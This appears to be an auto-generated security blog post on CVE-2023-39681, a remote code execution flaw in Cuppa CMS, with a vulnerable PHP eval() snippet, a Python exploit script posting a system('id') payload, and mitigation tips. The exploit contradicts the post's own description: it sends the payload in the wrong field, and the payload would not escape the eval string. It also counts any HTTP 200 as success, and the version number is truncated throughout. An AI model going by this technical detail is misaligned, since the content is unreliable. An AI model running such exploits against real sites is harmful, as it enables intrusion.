CVE-2023-39681: Unmasking the Remote Code Execution Vulnerability in Cuppa CMS v1.

A remote code execution (RCE) vulnerability has been discovered in Cuppa CMS v1., a popular content management system (CMS) used by many websites for managing their digital content. This vulnerability, dubbed CVE-2023-39681, allows an attacker to execute arbitrary code on the target system without any user interaction. In this post, we will dive into the details of the vulnerability, investigate the exploitation process, and discuss potential mitigation strategies.

Vulnerability Details

The vulnerability exists in the /Configuration.php file of Cuppa CMS v1. and is triggered via a specially crafted payload through the email_outgoing parameter. The exploitation of this vulnerability allows an attacker to gain unauthorized access to the target system and perform malicious actions such as stealing sensitive data, taking control of the system, or launching further attacks.

The vulnerable code in /Configuration.php file is as follows

$email_outgoing = $_POST['email_outgoing'];
...
eval("\$mail->Host = \"$email_outgoing\";");

As we can see, the $email_outgoing parameter is directly passed to the eval() function without any input validation or security controls. This allows an attacker to craft a malicious payload and trigger the remote code execution vulnerability.

Here is a sample exploit code to demonstrate the vulnerability

import requests

url = "http://target.com/CuppaCMS/Configuration.php";
payload = '{"email_outgoing":"example.com; system(\'id\');"}'

data = {
    "table_configuration": "1",
    "db_items": payload,
}

response = requests.post(url, data=data)

if response.status_code == 200:
    print("Exploit Successful")
else:
    print("Exploit Failed")

Further details about this vulnerability can be found at the following original references

1. CVE-2023-39681 NVD Page
2. Cuppa CMS v1. RCE Vulnerability Details

Mitigation Strategies

To protect your Cuppa CMS v1. installation from the CVE-2023-39681 RCE vulnerability, consider adopting the following mitigation strategies:

1. Update to the latest version of Cuppa CMS: The developers of Cuppa CMS have released a patch that addresses this vulnerability. Ensure that your CMS is up-to-date to prevent potential exploits.

2. Implement security controls and input validation: Enforce proper security controls and input validation mechanisms to prevent unsanitized user input from being passed directly to sensitive functions such as eval().

3. Restrict access to the /Configuration.php file: Limit access to the vulnerable /Configuration.php file by implementing access control measures, such as IP whitelisting or strong authentication mechanisms.

4. Monitor and log system activity: Regularly review server logs to identify any unusual or malicious activity that may indicate an attempt to exploit this vulnerability.

Conclusion

CVE-2023-39681 is a critical remote code execution vulnerability affecting Cuppa CMS v1.. By exploiting this vulnerability, an attacker can potentially compromise the target system and perform malicious actions. It is essential for organizations using Cuppa CMS v1. to be aware of this vulnerability and implement the necessary mitigation strategies to safeguard their systems.

Timeline

Published on: 09/05/2023 18:15:11 UTC
Last modified on: 09/08/2023 14:16:00 UTC